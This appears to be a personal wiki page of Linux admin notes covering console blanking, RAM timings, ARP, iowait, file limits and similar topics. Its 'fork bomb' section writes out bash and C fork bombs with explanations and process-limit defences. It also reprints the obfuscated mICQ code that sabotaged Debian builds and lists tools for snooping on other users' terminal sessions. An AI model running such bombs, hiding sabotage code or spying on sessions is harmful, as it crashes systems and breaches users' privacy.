This has bugged me for a while. I finally got around to figuring it out. On a linux box if you want to control how the text console blanks it's screen you can do it with the setterm command. Specifically:

setterm -powersave powerdown setterm -powersave 5 setterm -blank 5

Now my text console understands that after 5 minutes of no activity it can power down the montor. This is independent of APM as the kernel doesn't even have it loaded.

If you want the changes remembered then use

setterm -store

I figure some poor soul is going to STFW for words like 'linux redhat console text blank screensaver timeout'. I hope this helps them.

Source: Bill Kearney: Blanking a linux console

Blanking
> Can anyone tell me how to keep the console screen from > blanking? I have had > the system dump into the kernel debugger after the console > went blank and it does not unblank. Makes it hard to debug.

setterm -powersave off -powerdown 0 -blank 0

-Matt

Source: http://www.gelato.unsw.edu.au/archives/linux-ia64/0106/1732.html

Determine memory CAS latency
CAS Latency : number:
 * ""... I didn't see any CAS latency specs ..." ==> The specifications on Newegg's site clearly say that the timing is 2-3-3-6.   The first number is the CAS latency :-)"


 * "... for future reference, memory timing is always listed in that order.  The four numbers represent the CAS latency; the RAS-to-CAS delay; the RAS precharge time; and the precharge delay.    If you think of memory as a large array (which is what it is), these timings represent how long it takes the column (CAS) and row (RAS) signals to stabilize with a specfied address before the data from that address is available to transfer from the memory."

Nabble - Fedora List - Checking RAM type and information in software: Yes there's decode-dimms.pl which is part of the aforementioned lm_sensors package. Probably has a lot of what you're looking for. For example for me it shows (amongst lots of other information):

---=== Memory Characteristics ===--- Maximum module speed                           400MHz (PC3200) Size                                           512 MB tCL-tRCD-tRP-tRAS                               3-3-3-8 Supported CAS Latencies                        3, 2.5 Supported CS Latencies                         0 Supported WE Latencies                         1 Minimum Cycle Time (CAS 3)                     5 ns Maximum Access Time (CAS 3)                     0.65 ns Minimum Cycle Time (CAS 2.5)                    6 ns Maximum Access Time (CAS 2.5)                   0.7 ns

yum install lm_sensors modprobe eeprom

[http://www.linuxforums.org/forum/peripherals-hardware/120585-how-know-cas-latency-memory-linux.html How to know CAS Latency of memory on Linux? - Linux Forums]: lshw -C memory | grep clock
 * 1) this will only show clock speed (Mhz and ns)

RAM CAS Latency question - Revision3 Forums:
 * "I have this burning question about the RAM CAS Latency for DDR2 RAM specifically.


 * Whats the difference between 4-4-4-12 and 5-5-5-15 in performance, and is it worth getting the faster (lower numbers?) if I am not overclocking the RAM?


 * The number that really matters is the last one in the 4 integer group. That's the time, in nanoseconds, that an operation takes, from getting a command, to accessing data, to closing memory so another operation can happen (the sum of the first 3 numbers). Personally, I can't tell the difference between 12 and 15 nanoseconds But, you're right. If you are not overclocking your RAM, save the money and get the slower RAM.


 * The RAM speed, 667 vs 800?


 * THat number is the FSB (front side bus) speed, and is an indicator of how fast your machine can pump data to the RAM. If your motherboard handles an FSB of 800, then you should get RAM rated to 800, if it only does 667, then getting 800 rated RAM is overkill UNLESS you are going to overclock your system.


 * There was a time when I was heavily into overclocking including watercooling my machine and insane heatsionks on my RAM, but mahcine these days are such that it is pretty much a waste of time."

CAS# Latency 3 clocks RAS# to CAS# Delay 3 clocks RAS# Precharge 3 Clocks Cycle Time (Tras) 8 clocks

Anti Virus
[http://linuxmafia.com/~rick/faq/index.php?page=virus But That's Just My Opinion. I Could Be Wrong.]

Should I get anti-virus software for my Linux box?

The problem with answering this question is that those asking it know only OSes where viruses, trojan-horse programs, worms, nasty Javascripts, ActiveX controls with destructive payloads, and ordinary misbehaved applications are a constant threat to their computing. Therefore, they refuse to believe Linux could be different, no matter what they hear.

And yet it is.

Here's the short version of the answer: No. If you simply never run untrusted executables while logged in as the root user (or equivalent), all the "virus checkers" in the world will be at best superfluous; at worst, downright harmful. "Hostile" executables (including viruses) are almost unfindable in the Linux world — and no real threat to it — because they lack root-user authority, and because Linux admins are seldom stupid enough to run untrusted executables as root, and because Linux users' sources for privileged executables enjoy paranoid-grade scrutiny (such that any unauthorised changes would be detected and remedied).

Here's the long version: Still no. Any program on a Linux box, viruses included, can only do what the user who ran it can do. Real users aren't allowed to hurt the system (only the root user can), so neither can programs they run.

Because of the distinction between privileged (root-run) processes and user-owned processes, a "hostile" executable that a non-root user receives (or creates) and then executes (runs) cannot "infect" or otherwise manipulate the system as a whole. Just as you can delete only your own files (i.e., those you have "write" permission to), executables you run cannot affect other users' (or root's) files. Therefore, although you can create (or retrieve), and then run, a virus, worm, trojan horse, etc., it can't do much. Unless you do so as "root". Which it's simple to avoid doing.

mICQ easter egg
In Feb. 2003, RÃ¼diger Kuhlman, maintainer of instant messaging program mICQ, now known as "climm", introduced obfuscated code into his own program to make it refuse to run on Debian. One does wonder how many popular proprietary programs on legacy proprietary OSes have similar hidden code.)

Mr. Kuhlmann decided that enough was enough, and he was going to take some action. As of mICQ 0.4.10.1, the code will, when built for the Debian distribution, print out a message which says some unflattering things about Mr. Loschwitz and encourages use of a different version; the program then exits. In other words, when built for Debian, mICQ thumbs its nose at the user and refuses to run. To help ensure that this code got into the official Debian version, it was written in an obfuscated manner, set to trigger only after February 11, and only if it was not being run by Mr. Loschwitz. For the curious, here is a posting containing the code in question.

Note: ^ is the Bitwise XOR (exclusive OR) of a and b (bit toggle)

Note: "(...) ? :" is the "ternary operator" syntax

Original: if (me[0] != 'm' || me[1] != 'a' || me[2] != 'd' || me[3] != 'k' ||     me[4] != 'i' || me[5] != 's' || me[6] != 's' || me[7]) if (time (NULL) > 1045000000) {     const char *parts[] = { "\n\n\eX0282nZlv$qf#vpjmd#wkf#nJ@R#sb`hbdf#sqlujgfg#az", "#Gfajbm-#Pjm`f#wkf#Gfajbm#nbjmwbjmfq#jp#f{wqfnfoz#", "vm`llsfqbwjuf/#zlv$qf#bguj`fg#wl#vpf#wkf#afwwfq#rv", "bojwz#sb`hbdf#eqln#nj`r-lqd-#Pjnsoz#bgg#wkf#eloolt", "jmd#ojmf#wl#zlvq#,fw`,bsw,plvq`fp-ojpw#wl#wqb`h#pw", "baof#ufqpjlmp#le#nJ@R9\eX3n\ngfa#kwws9,,ttt-nj`r-lqd", ",gfajbm#pwbaof#nbjm\n\eX0282nWl#wqb`h#@UP#pmbspklwp/", "#bgg9\eX3n\ngfa#kwws9,,ttt-nj`r-lqd,gfajbm#wfpwjmd#n", "bjm\n\eX0282nPlvq`f#sb`hbdfp#nbz#af#qfwqjfufg#pjnjob", "qoz-\eX3n\n\n                                       " };
 * 1) if defined(__Dbn__) && __Dbn__ != -1 && !defined (EXTRAVERSION)

char buf[52]; int i, j;     for (i = 0; i < 10; i++) {         for (j = 0; j < 50; j++) buf[j] = parts[i][j] > 30 ? parts[i][j] ^ 3 : parts[i][j]; buf[j] = '\0'; M_print (buf); }     exit (99); }
 * 1) endif

simple .c compiled:
 * 1) include 
 * 2) include 

int main {

//if (me[0] != 'm' || me[1] != 'a' || me[2] != 'd' || me[3] != 'k' || //     me[4] != 'i' || me[5] != 's' || me[6] != 's' || me[7]) // if (time (NULL) > 1045000000) // {      const char *parts[] = { "\n\n\eX0282nZlv$qf#vpjmd#wkf#nJ@R#sb`hbdf#sqlujgfg#az", "#Gfajbm-#Pjm`f#wkf#Gfajbm#nbjmwbjmfq#jp#f{wqfnfoz#", "vm`llsfqbwjuf/#zlv$qf#bguj`fg#wl#vpf#wkf#afwwfq#rv", "bojwz#sb`hbdf#eqln#nj`r-lqd-#Pjnsoz#bgg#wkf#eloolt", "jmd#ojmf#wl#zlvq#,fw`,bsw,plvq`fp-ojpw#wl#wqb`h#pw", "baof#ufqpjlmp#le#nJ@R9\eX3n\ngfa#kwws9,,ttt-nj`r-lqd", ",gfajbm#pwbaof#nbjm\n\eX0282nWl#wqb`h#@UP#pmbspklwp/", "#bgg9\eX3n\ngfa#kwws9,,ttt-nj`r-lqd,gfajbm#wfpwjmd#n", "bjm\n\eX0282nPlvq`f#sb`hbdfp#nbz#af#qfwqjfufg#pjnjob", "qoz-\eX3n\n\n                                       " };

char buf[52]; int i, j;

for (i = 0; i < 10; i++) {         for (j = 0; j < 50; j++) buf[j] = parts[i][j] > 30 ? parts[i][j] ^ 3 : parts[i][j]; buf[j] = '\0'; //M_print (buf); printf("%s", buf); }     exit (99); // }

}

Output (missing color): You're using the mICQ package provided by Debian. Since the Debian maintainer is extremely uncooperative, you're adviced to use the better quality package from micq.org. Simply add the following line to your /etc/apt/sources.list to track stable versions of mICQ: deb http://www.micq.org/debian stable main To track CVS snapshots, add: deb http://www.micq.org/debian testing main Source packages may be retrieved similarly.

References:
 * Proposal for removal of mICQ package - LWN.net
 * Re: Proposal for removal of mICQ package - LWN.net
 * mICQ roundup - LWN.net
 * Updated proposal for further handling of the micq package - LWN.net
 * But That's Just My Opinion. I Could Be Wrong.

PCI
Original Message Subject: 	Re: [CentOS] Antivirus for CentOS? (yuck!) Date: 	Wed, 21 Jan 2009 21:38:34 -0500 From: 	jkinz@kinz.org Reply-To: 	CentOS mailing list <centos@centos.org> To: 	CentOS mailing list <centos@centos.org> References: 	<9c2cca270901211719sad3ce8ag11d793e08b8dad70@mail.gmail.com>

On Thu, Jan 22, 2009 at 12:19:27PM +1100, Amos Shapira wrote: > Hi All, > > Yes, I know, it's really really embarrassing to have to ask but I'm > being pushed to the wall with PCI DSS Compliance procedure > (http://en.wikipedia.org/wiki/PCI_DSS) and have to either justify why > we don't need to install an anti-virus or find an anti-virus to run on > our CentOS 5 servers. > > Whatever I do - it needs to be convincing enough to make the PCI > compliance guy tick the box. > > So: > > 1. Has anyone here gone though such a procedure and got good arguments > against the need for anti-virus?

Amos - the best argument I have ever seen along those lines is here : (And its a good one )

http://linuxmafia.com/~rick/faq/index.php?page=virus

All UNIX/Linux aficionados should be familiar with its content.

FAIR WARNING, It is long and complex. Because it is comprehensive and detailed. Those among you familiar with Rick Moen will understand and appreciate why.

A portion pasted here:

The most recent version of these essays can be found at http://linuxmafia.com/~rick/faq/. Rick's Rants

Virus. . .         o Should I get anti-virus software for my Linux box? o But didn't security expert Simson Garfinkel say that all Linux systems need virus checkers? o Don't the rise of Linux worms show that Linux now has a virus problem? o Isn't Microsoft Corporation's market dominance, making Linux an insignificant target, the only reason it doesn't have a virus problem? o But how can you say there's no virus problem, when there have been several dozen Linux viruses?

Should I get anti-virus software for my Linux box?

The problem with answering this question is that those asking it know only OSes where viruses, trojan-horse programs, worms, nasty Javascripts, ActiveX controls with destructive payloads, and ordinary misbehaved applications are a constant threat to their computing. Therefore, they refuse to believe Linux could be different, no matter what they hear.

And yet it is.

Here's the short version of the answer: No. If you simply never run untrusted executables while logged in as the root user (or equivalent), all the "virus checkers" in the world will be at best superfluous; at worst, downright harmful. "Hostile" executables (including viruses) are almost unfindable in the Linux world — and no real threat to it — because they lack root-user authority, and because Linux admins are seldom stupid enough to run untrusted executables as root, and because Linux users' sources for privileged executables enjoy paranoid-grade scrutiny (such that any unauthorised changes would be detected and remedied).

Here's the long version: Still no. Any program on a Linux box, viruses included, can only do what the user who ran it can do. Real users aren't allowed to hurt the system (only the root user can), so neither can programs they run.

Because of the distinction between privileged (root-run) processes and user-owned processes, a "hostile" executable that a non-root user receives (or creates) and then executes (runs) cannot "infect" or otherwise manipulate the system as a whole. Just as you can delete only your own files (i.e., those you have "write" permission to), executables you run cannot affect other users' (or root's) files. Therefore, although you can create (or retrieve), and then run, a virus, worm, trojan horse, etc., it can't do much. Unless you do so as "root". Which it's simple to avoid doing.

=
=================================================

This is just the beginning - it continues on to cover every aspect of the issue in a mere 1100 lines....

All of it well worth reading.

Jeff Kinz.

_______________________________________________ CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos

Resize
tune2fs -O ^has_journal /dev/sda1 e2fsck -f /dev/sda1 resize2fs /dev/sda1 100G e2fsck -n /dev/sda1 tune2fs -j /dev/sda1

Linux Traffic Control Shaping
See Linux Traffic Control Shaping

Named Pipe
Named pipe - Wikipedia:
 * "In computing, a named pipe (also FIFO for its behaviour) is an extension to the traditional pipe concept on Unix and Unix-like systems, and is one of the methods of inter-process communication. The concept is also found in Microsoft Windows, although the semantics differ substantially. A traditional pipe is "unnamed" because it exists anonymously and persists only for as long as the process is running. A named pipe is system-persistent and exists beyond the life of the process and must be "unlinked" or deleted once it is no longer being used. Processes generally attach to the named pipe (usually appearing as a file) to perform IPC (inter-process communication)."

IPC
Inter-process communication - Wikipedia:
 * "Inter-Process Communication (IPC) is a set of techniques for the exchange of data among multiple threads in one or more processes. Processes may be running on one or more computers connected by a network. IPC techniques are divided into methods for message passing, synchronization, shared memory, and remote procedure calls (RPC). The method of IPC used may vary based on the bandwidth and latency of communication between the threads, and the type of data being communicated.


 * IPC may also be referred to as inter-thread communication and inter-application communication.


 * IPC, on a par with the address space concept, is the foundation for address space independence/isolation."

Implementations:

There are a number of APIs which may be used for IPC. A number of platform independent APIs include the following:
 * Anonymous pipes and named pipes
 * Common Object Request Broker Architecture (CORBA)
 * Sockets

Named pipes in Unix
Instead of a conventional, unnamed, shell pipeline, a named pipeline is explicitly created using mkfifo or mknod, and two separate processes can access the pipe by name.

For example, one can create a pipe and set up gzip to compress things piped to it:

mkfifo my_pipe gzip -9 -c < my_pipe > out.gz

In a separate process shell, independently, one could send the data to be compressed:

cat file > my_pipe

The named pipe can be deleted just like any file

rm my_pipe

7-Zip
See Linux/7-Zip

keywords: 7zip 7-zip

Starting a Linux Firewall from Scratch
Starting a Linux Firewall from Scratch
 * The first steps in getting started with iptables.


 * Building a firewall is something that easily can be done using a Linux machine. This article describes the basic steps involved in developing a firewall from scratch, using tools in Linux. It is intended for newbies interested in learning about (Linux) firewalls. More important, this article is for all new administrators who would like to dirty their hands and get a firewall up and running as soon as possible, but without missing the important concepts en route. My experience in working on a Linux-based firewall at the DON (Distributed and Optical Networking) lab, in the department of Computer Science and Engineering at the Indian Institute of Technology (IIT) Madras, is the most motivating factor behind writing this article.


 * In this article, we examine developing a firewall that will sit on the edge, separating your private network from the rest of the world; therefore, the firewall also will act as a gateway.

LinuxPlanet - Tips - Ways to 'kill' With Linux - To kill or not to kill
kill is most often used without an argument or with -9, to kill a process off. But it can also be used to send various other signals to a process. Some are variations on process termination, but you can also get information about or out of processes.

kill -0 1685; echo $?
 * kill -0 pid: This doesn't actually kill the process, just returns 0 (success) if the process exists and 1 (failure) if not. The command itself will not give you any output — you have to look at the exit code, using echo $? to get the information. So as a one-liner:
 * will output 0 if process 1685 exists, and 1 if it doesn't. This can also be useful in shell scripts if you have a process number recorded and wish to check if it's still running.


 * kill -9 pid: You probably already know that you can terminate the process WITH EXTREME PREJUDICE. kill -KILL does the same thing and has the advantage of looking more vicious. The downside is that it is an extra couple of characters to type.
 * kill -HUP pid: Restarts the process.
 * kill -INT pid: Another way of killing the process, this time by interrupting it. It is a useful halfway house between kill and kill -9.
 * kill -ABRT pid: Stops your program and gets it to dump core if possible/appropriate. (kill -6 is a synonym.) This can be useful if a process is misbehaving, as it means that you may get debug information.

info
"To get a list of navigation commands, hit ? (to quit this help page, hit l). n moves to the next node (so just hitting n repeatedly will take you straight through an info document), and p to the previous node; u goes up one menu level. If you use the arrow keys to move to a hyperlink (marked with *asterisks*), and hit return, you'll be taken to that menu item. l will take you back one level (to the point where you hit return)." 

arp
arp table: ip neighbor | grep 192.168.1.100 arp | grep 192.168.1.100

Neighbor Unreachability Detection (nud)

arp ping: arping 192.168.1.100

Broadcast method: ping -b run netstat, then arp -D

Clearing arp cache: for i in `awk -F ' ' '{ if ( $1 ~ /[0-9{1,3}].[0-9{1,3}].[0-9{1,3}].[0-9{1,3}]/ ) print $1 }' /proc/net/arp` ; do arp -d $i ; done
 * 1) ugly hack:

There is no built in method of clearing the arp cache. This ugly hack will do though. "I guess they figure since the arp cache times out after some 3 minutes and arp broadcasts are a continual process it's not worth the effort"

TO READ: [http://linux-ip.net/html/ether-arp.html 2.1. Address Resolution Protocol (ARP)]

arpwatch
arpwatch : the ethernet monitor program; for keeping track of ethernet/ip address pairings

arpwatch
 * If you have a linux machine on your network load up arpwatch. It will watch the network and build a table (arp.dat) that you can refer to.
 * arpwatch will write MAC changes to /var/log/messages, and will also email the user specified in /etc/sysconfig/arpwatch

CentOS 5 Installation: yum install arpwatch chkconfig arpwatch on service arpwatch start

You can disable bogon reporting by adding the following option to /etc/sysconfig/arpwatch: bogon - The source ip address is not local to the local subnet. The -N flag disables reporting any bogons.

TAR Installation: wget ftp://ftp.ee.lbl.gov/arpwatch.tar.gz TODO: ...

arpwatch files: /var/arpwatch - default directory arp.dat - ethernet/ip address database ethercodes.dat - vendor ethernet block list

References:
 * Linux.com :: Ping: ICMP vs. ARP
 * Ping Mac Address : mac, ping, address
 * ARP: Questions & Answers
 * Find a IP with the MAC address (reverse Lookup) : address, mac, ip, find

Keywords:
 * arpwatch mac address watch

iowait
List processes in IO wait: ps ax | awk '$3 ~ /^D/ { print $0 }'

More things to try: iostat -d 5 sar -b

Watch io wait list grow: while true ; do ps ax | awk '$3 ~ /^D/ { print $0 }' >> hogs.list ; clear ; sort hogs.list ; sleep 3 ; done

>hogs.list ; while true ; do ps ax | awk '$3 ~ /^D/ { print $0 }' >> hogs.list ; clear ; cat hogs.list | awk '{print $5 " " $3}' | sort | uniq ; sleep 3 ; done

Linux - Finding IO Bottlenecks
How do I find out Linux CPU utilization?

Hunting I/O Bottlenecks with iostat - LinuxQuestions.org

[http://www.keithdmitchell.com/?p=88 Finding out Linux CPU utilization. : “The mind of a Mad Tech!”]

[http://www.experts-exchange.com/OS/Linux/Q_22767457.html High IOWait time on Linux ES3 running Databases. : iowait, linux, high]
 * iometer

Setup basic monitoring using Sysstat - Quantact

steve iostat
Steve Bishop commented Fri 12/21/2012 3:56 PM: There are a variety of different ways in Linux to monitor the IO block size. One of them is to use iostat. Another is to use /proc/diskstats. iostat is useful for a quick view into the current transfer size, while /proc/diskstats is more useful to monitor over a longer period of time and get an average IO block size. ________________________________________ First Method with iostat iostat iostat is useful to monitor both transfer rates and transfers per second, commonly called IO's per second (IOPS). This is some sample output:

$ iostat -dk 1 fioa ... Device: tps kB_read/s kB_wrtn/s kB_read kB_wrtn fioa 10.18 0.02 40.72 276 539796

Device: tps kB_read/s kB_wrtn/s kB_read kB_wrtn fioa 98537.00 0.00 394148.00 0 394148

Device: tps kB_read/s kB_wrtn/s kB_read kB_wrtn fioa 90485.00 0.00 361940.00 0 361940

(NOTE: The first line of output from iostat should be disregarded since it represents a cumulative amount before the iostat command even began running.)

The two interesting columns above are transfers per second (tps) and kilobytes written per second ( kB_wrtn/s). The transfers per second (tps) are equivalent to IOPS.

Using these values, we can calculate the average block size per transfer or IO. In the above example, the second line of output shows 98,537 tps (IOPS) and 394,148 kilobytes per second being written. This yields an average block size of 4 KB.

394,148 / 98,537 = 4 ________________________________________

Second Method with /proc/diskstats

To use /proc/diskstats, do this: 1. Run your application for a set period. 2. $ grep fio /proc/diskstats 3. Excluding columns 1-3 (devname, major #, minor #), take the 5th column (number of write I/Os) and the 7th column (number of written blocks), and do the following:

(num_written_blocks * 512) / num_write_IOs = avg_block_size written since last attach

For instance, as an example:

$ grep fio /proc/diskstats 252 0 fioa 465 0 3714 1080 77943 1235606 14871840 1058670 0 11220 1059710

(14871840 * 512) / (77943) = 97691

The average block size on fioa was 97 KB.

Source: [#CASE-20398] HMEI: Slow performance : VMware ticket number 12256083212 - fio Customer Support - CASE-20398

ulimit
How to increase the max number of open files for Linux users

cat /proc/sys/fs/file-max

ulimit -n

lsof -u chris

lsof -u chris | wc -l

ulimit -n 32768

cat /proc/sys/fs/file-nr 8667       3145        288217    |           |             |__ maximum number of file descriptors allowed on the system |          |         |           |__ total free allocated file descriptors |   |__  total allocated file descriptors

GNU/Linux - How Many Open Files?

cat /proc/sys/fs/file-max echo "104854" > /proc/sys/fs/file-max cat /proc/sys/fs/file-max lsof | wc -l

search by PID lsof | grep 2381 | wc -l ls -l /proc/2381/fd/

The Linux and Unix Menagerie: Finding The Number Of Open File Descriptors Per Process On Linux And Unix

lsof -p 2034 ls -l /proc/2034/fd/

An easy way to iterate through each processes open file descriptors is to just run a simple shell loop, substituting your particular version of ps's arguments, like: host # for x in `ps -ef| awk '{ print $2 }'`;do ls /proc/$x/fd;done

If you're only interested in the number of open file descriptors per process, you can shorten that output up even more: host # for x in `ps -ef| awk '{ print $2 }'`;do ls /proc/$x/fd|wc -l;done

Linux: Increasing the number of open file descriptors

cat /proc/sys/fs/file-max

[The current limit shown is 8192] % cat /proc/sys/fs/file-max 8192

[To increase this to 65535 (as root)]
 * 1) echo "65535" > /proc/sys/fs/file-max

/etc/sysctl.conf fs.file-max = 65535
 * 1) Maximum number of open files permited

To list the available parameters that can be modified using sysctl do sysctl -a

To load new values from the sysctl.conf file. sysctl -p /etc/sysctl.conf

[To increase this to 65535 for all users (as root)]
 * 1) vi /etc/security/limits.con

TechiesAbode: Maximum Number of open files and file descriptors in Linux

include/linux/limits.h and include/linux/fs.h

NR_OPEN = maximum number of open files per process NR_FILE = total number of files that can be open in the system at any time

$lsof | wc -l

Fun with user limits - And how to stop Linux from fucking up your P2P apps

If you've ever had 1024 files (or bits of files, or network sockets or whatever) open at the same time, for example, you might have noticed how everything suddenly stops working. The situation is easily remedied.

Attempting to change the aforementioned file descriptor limit of 1024, for instance, will yield the following insult error message:

bash: ulimit: open files: cannot modify limit: Operation not permitted

We've been judged by Linux, and we're not smart enough. Time to delve into limits.conf.

Changing the values of various user limits is as easy as modifying a file called /etc/security/limits.conf and then running ulimit. This file controls how limits are enforced by the kernel. Since we're using the maximum number of open file descriptors as an example, we're going to change the nofile value for our user. We're going to be changing the hard limit, which is what's keeping us from increasing the value using a shell command. (The file also gives an explanation on how to change the various other limits for a given user.) Let's add the following line for our user, joebloggs:

joebloggs hard nofile 32768

Change user's password
Change user's password passwd passwd [user]
 * 1) change my password
 * 1) change other user's password

Via script/batch process echo "username:password" | chpasswd

ACPI
acpid - "Basically, acpid just executes scripts residing in /etc/acpi/actions. Which script to launch at which event is configured in several files in /etc/acpi/events. All actions are documented in /var/log/acpid in older versions of acpid and to /var/log/messages, and /var/log/syslog via the syslog interface in newer versions >~1.0.6." 

detailed information on how to configure acpid: man acpid

/etc/acpi/events: event=button/lid action=/etc/acpi/actions/sleep.sh %e

/etc/acpi/actions/sleep.sh: ... echo "$1" | grep "button/lid" && grep -q open /proc/acpi/button/lid/LID/state && exit 0
 * 1) if launched through a lid event and lid is open, do nothing

Source: How to configure acpid - ThinkWiki

X11 Reset
[Ctrl]+[Alt]+[Backspace]

If it has been disabled: (Re: F11: xorg decision to disable Ctrl Alt Backspace)

Section "ServerFlags" Option     "DontZap" "1" EndSection
 * 1) xorg.conf

Linux System Detail Report
rm -rf system mkdir system ; cd system uname -a > uname.txt cat /proc/cpuinfo > cpuinfo.txt free -m > memory.txt fdisk -l > fdisk.txt dmidecode > dmidecode.txt lspci > lspci.txt dmesg > dmesg.txt ifconfig > ifconfig.txt ps aux > ps-aux.txt cd ..

On redhat machines: sosreport

Spying on a terminal session
To spy or snoop on a terminal session:

ttysnoop
ttysnoop allows you to snoop on login tty's through another tty-device or pseudo-tty. The snoop-tty becomes a 'clone' of the original tty, redirecting both input and output from/to it.

DAG: ttysnoop RPM packages for Red Hat, CentOS and Fedora

conspy
Conspy allows a (possibly remote) user to see what is displayed on a Linux virtual console, and to send keystrokes to it. It only known to work with Linux. It is rather like VNC, but where VNC takes control of a GUI, conspy takes control of a text-mode virtual console. Unlike VNC, conspy does not require a server to be installed prior to being used.

Conspy will allow you to control a /dev/tty# session. conspy [terminal_session_number]

DAG: conspy RPM packages for Red Hat, CentOS and Fedora

screen
Screen with named session: "screen -S student" then everyone can attach the screen with "screen -x student"

script
How to: Snoop / View Other Linux Shell User Typescript of Terminal Session $ mkfifo hardcopy $ script hardcopy $ cat /home/student/hardcopy
 * 1) to publish session:
 * 1) to watch session:

ps - Linux process explorer
ps aux

Process Tree
pstree

ps -axf

ps axjf

pstree -np | less


 * "The -p tells it to show process identification numbers (PIDs)


 * The -p option has a side effect of disabling compaction. This is because compaction occurs only for lines of output that are identical. Lines that are identical when no PIDs are shown are no longer identical when the PIDs are shown because each instance of a program (and thus each line) has a different PID. An alternative is to use the -c option, whose sole purpose is to disable compaction.


 * The -n option instructs pstree to sort its output in the order of the PIDs instead of in the default alphabetic order. This can be seen most clearly when using it together with the -p option."

Tape Backup
See Linux Tape Backup

FIGlet
"FIGlet is a computer program that generates text banners, in a variety of typefaces, comprised of letters made up of conglomerations of smaller ASCII characters (see ASCII art)." 

_           _ \__\___||___/\__|
 * |_ ___ ___| |_
 * __/ _ \/ __| __|
 * || __/\__ \ |_

Usage: figlet [text you want to convert]

References:
 * Changing the MOTD in Linux

See also 'cowsay'

Disk Labels
See e2label

fork bomb
Fork Bomb:
 * "[Unix] A particular species of wabbit that can be written in one line of C (main {forfork;}) or shell ($0 & $0 &) on any Unix system, or occasionally created by an egregious coding bug. A fork bomb process ‘explodes’ by recursively spawning copies of itself (using the Unix system call fork(2)). Eventually it eats all the process table entries and effectively wedges the system. Fortunately, fork bombs are relatively easy to spot and kill, so creating one deliberately seldom accomplishes more than to bring the just wrath of the gods down upon the perpetrator. Also called a fork bunny. See also logic bomb."

The following code provides arguably one of the most elegant examples of a fork bomb. Jaromil presented it as an open-source piece of art in 2002. The user executes the fork bomb by pasting the following 11 characters into a UNIX shell such as bash or zsh.[1]



Understanding the above:


 * # define ':' -- whenever we say ':', do this:

{       # beginning of what to do when we say ':' :   # load another copy of the ':' function into memory...    |    # ...and pipe its output to... :   # ...another copy of ':' function, which has to be loaded into memory # (therefore, ':|:' simply gets two copies of ':' loaded whenever ':' is called) &   # disown the functions -- if the first ':' is killed, #    all of the functions that it has started should NOT be auto-killed }       # end of what to do when we say ':'
 * # Having defined ':', we should now...
 * # ...call ':', initiating a chain-reaction: each ':' will start two more.

Given that ':' is an arbitrary name for the function, an easier to understand version would be:

forkbomb{ forkbomb|forkbomb & } ; forkbomb

Reference: Fork bomb - Wikipedia

Fork bomb, or how to take down a Linux server in matter of seconds - Lars Strand:
 * "A particular nasty local denial of service attack is a fork bomb. It's dead simple: A program just replicate itself, which again replicate itself and so on until all resources are exhausted. Fortunately, protection against fork bombs are easy - but rarely used at all.


 * Fork bomb? Doesn't sound familiar? To understand fork bomb, you must understand "fork". Fork is a system call, which creates an exact copy of the running process. The new process is called "child", and the invoking process "parent". If you've taken any sort of programming class I'm sure you know all about forking. If not, you can read about it in "man 2 fork" or Wikipedias entry on fork. "

Understanding Bash fork bomb ~ :{ :|:& };::
 * "Q. Can you explain following bash code or bash fork bomb?




 * A. This is a bash function. It gets called recursively (recursive function). This is most horrible code for any Unix / Linux box. It is often used by sys admin to test user processes limitations (Linux process limits can be configured via /etc/security/limits.conf and PAM).


 * Once a successful fork bomb has been activated in a system it may not be possible to resume normal operation without rebooting, as the only solution to a fork bomb is to destroy all instances of it."

How to: Prevent a fork bomb by limiting user process
 * "Earlier, I wrote about fork bomb, few readers like to know about getting protection against such attacks:


 * How do I protect my system from a fork bomb under Linux?


 * Limiting user processes is important for running a stable system. To limit user process just add user name or group or all users to /etc/security/limits.conf file and impose process limitations."

Linux Fork Bomb Explained | AmirWatad.com:
 * "One famous way to crash your Linux system is to run a “fork bomb” in the terminal. A variant of it looks like this:"



bomb{bomb|bomb&}; bomb

bomb { bomb|bomb & }; bomb

C code: int main {   while(1) fork; return 0; }
 * 1) include <unistd.h>

Disk Cache
drop_caches

Writing to this will cause the kernel to drop clean caches, dentries and inodes from memory, causing that memory to become free.

To free pagecache: echo 1 > /proc/sys/vm/drop_caches

To free dentries and inodes: echo 2 > /proc/sys/vm/drop_caches

To free pagecache, dentries and inodes: echo 3 > /proc/sys/vm/drop_caches

As this is a non-destructive operation, and dirty objects are not freeable, the user should run "sync" first in order to make sure all cached objects are freed.

This tunable was added in 2.6.16.

Flush Cache | LinuxReaders

drop_caches | LinuxInsight

fsck
fsck - check and repair a Linux file system

e2fsck - check a Linux ext2/ext3 file system

chroot
See chroot

motd - Message of the Day
The file /etc/motd is displayed when a user logs into SSH. /etc/motd

The file /etc/issue is displayed on the terminal before a user logs into the system.

Sparse File
See Sparse File

Linux Time
See Linux Time

Linux Library Path
See shared libraries: ldd [file]

Add paths to library search: export LD_LIBRARY_PATH=[path]:[path]

Notice after compiling an application: -- Libraries have been installed in: /usr/local/lib

If you ever happen to want to link against installed libraries in a given directory, LIBDIR, you must either use libtool, and specify the full pathname of the library, or use the `-LLIBDIR' flag during linking and do at least one of the following: - add LIBDIR to the `LD_LIBRARY_PATH' environment variable during execution - add LIBDIR to the `LD_RUN_PATH' environment variable during linking - use the `-Wl,-rpath -Wl,LIBDIR' linker flag - have your system administrator add LIBDIR to `/etc/ld.so.conf'

See any operating system documentation about shared libraries for more information, such as the ld(1) and ld.so(8) manual pages. --

Convert Dynamic Executable to Static Executable
ELF STATIFIER MAIN PAGE - http://statifier.sourceforge.net/
 * Statifier create from dynamically linked executables and all it's libraries one file. This file can be copied and run on another machine without need to drag all it's libraries.
 * Dynamically linked executables are smaller then statically linked. From the other side dynamically linked executables use shared libraries compiled in PIC (position independend code) which is slower than "normal" one.

Ermine - http://www.magicermine.com/
 * Do you often find yourself struggling with your GNU/Linux application's dependencies? Did you ever ask yourself whether it is not possible to make deployment of your application just work instead of adapting to external libraries and target host configurations? Ermine is the answer to these questions.
 * Ermine packs a GNU/Linux application together with any needed shared libraries and data files into a single executable. This file can be copied to any GNU/Linux host and run without further modifications."

Ermine vs. Statifier - Linux Magazine Online - http://www.linux-magazine.com/Issues/2009/105/Ermine-vs.-Statifier
